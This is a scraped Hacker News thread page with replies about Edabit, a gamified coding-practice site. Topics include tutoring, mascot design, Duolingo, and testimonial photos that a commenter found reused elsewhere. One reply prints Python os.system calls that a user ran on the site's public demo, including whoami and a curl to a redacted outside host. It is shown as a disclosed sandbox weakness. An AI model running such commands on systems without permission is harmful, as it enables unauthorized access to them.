Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

121–130 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#122
post #81

Earlier quoted context omitted.

How do you teach? As an instructor at a school or tutoring on the side?

I work with my local library to hold coding office hours (Should be very easy to set up, they really want to become more technically savvy but the only volunteers they could find is instructors trying to teach microsoft word) I have my own curriculum that I've built over the years and the students ultimately end up building a product that they launch (hopefully). This year I got to teach 20 students and so far 14 hav…

Please do a Show HN when you do so!

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#123
post #36

Earlier quoted context omitted.

Lots of people using the site right now. Usually it's very fast.

It sounds like the validation should be running on the client side and not in the cloud.

All code is executed in a docker container and destroyed after runtime completes (or times out). It's also being run on a remote server completely unrelated to the functioning of the web app itself. The "security issues" pointed out in this thread are non-issues.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#124

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

All code is executed in a docker container and destroyed after runtime completes (or times out). It's also contained on a remote server completely unrelated to the functioning of the web app itself. Over the past year and a half I've hired two developers familiar with how docker works to find security exploits. None could find any. Can you still access the file you created?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#125
post #42

I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.

I’m confused as to how anyone would think this is alright to do.

Just because a testimonial image can be found elsewhere on the web doesn't mean it's fake. The images are of the actual person who gave the testimonial but I changed their names. I see absolutely nothing wrong with doing that.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#126
post #116

Hey man. Nice App. How did you created the Mascots ? Or Outsourced it? Any leads and cost related?

I hired a guy on UpWork: https://www.upwork.com/ab/profiles/search/saved/~014198aac9a...

How much charge ? Can you refer the guy if possible?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#127
post #126

Earlier quoted context omitted.

I hired a guy on UpWork: https://www.upwork.com/ab/profiles/search/saved/~014198aac9a...

How much charge ? Can you refer the guy if possible?

I don't remember the exact cost but the link I provided is the UpWork profile of the guy I hired.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#128
post #117

Earlier quoted context omitted.

Look, as you mentioned, you just don't know what you are talking about to extrapolate what you want explained. Use Duolingo for 5 minutes like the rest of us and get with the program.

I did that. I took the initial test for Japanese, where I answered correctly for sentences I already understood or where I was only missing a single word I could guess by elimination. Given multiple options I couldn't distinguish, I messed up as it should be. Based on the test results, I was skipped past 23 of the 40 topics I can see in the course. Considering that I've been learning for only three months, that makes…

They don't explain rules. They try to classically condition you without explaining why you would ever synthesize a word or phrase that way.

It becomes more apparent when you realize these apps are not smart. They were novel at one point, and maybe you can pick up a phrase to catch a native speaker off guard.

Duolingo is using humans to translate web content that algorithms are unsure about. This is the same founder of reCaptcha, who uses captcha's to use humans to tell robots about what the robots are unsure of.

Memrise, on the other hand, just takes the "87% most used phrases" and tries to get you to memorize the.

They have zero holistic approach to any of the languages they offer. You will never learn tense, language-specific concepts and rules, idioms that break all the rules, or whatever locals just say.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#129

Earlier quoted context omitted.

Except that hasn't been true for years in certain circumstances, particularly where the value of an app running user-created code is educational in nature. See Pythonista, Codea, Swift Playgrounds, or hell, Shortcuts.

Shortcuts, and Swift Playgrounds even more so, have been granted private entitlements by Apple to function.

What about Codea and Pythonista?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#130

Earlier quoted context omitted.

How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?

> "How does the url http://redacted/ work?" I apologize for the confusion. I used an actual server there (ie. http://somename.com ) but chose to redact the actual URL from this post.

https://en.wikipedia.org/wiki/Example_domain
Post reply on HN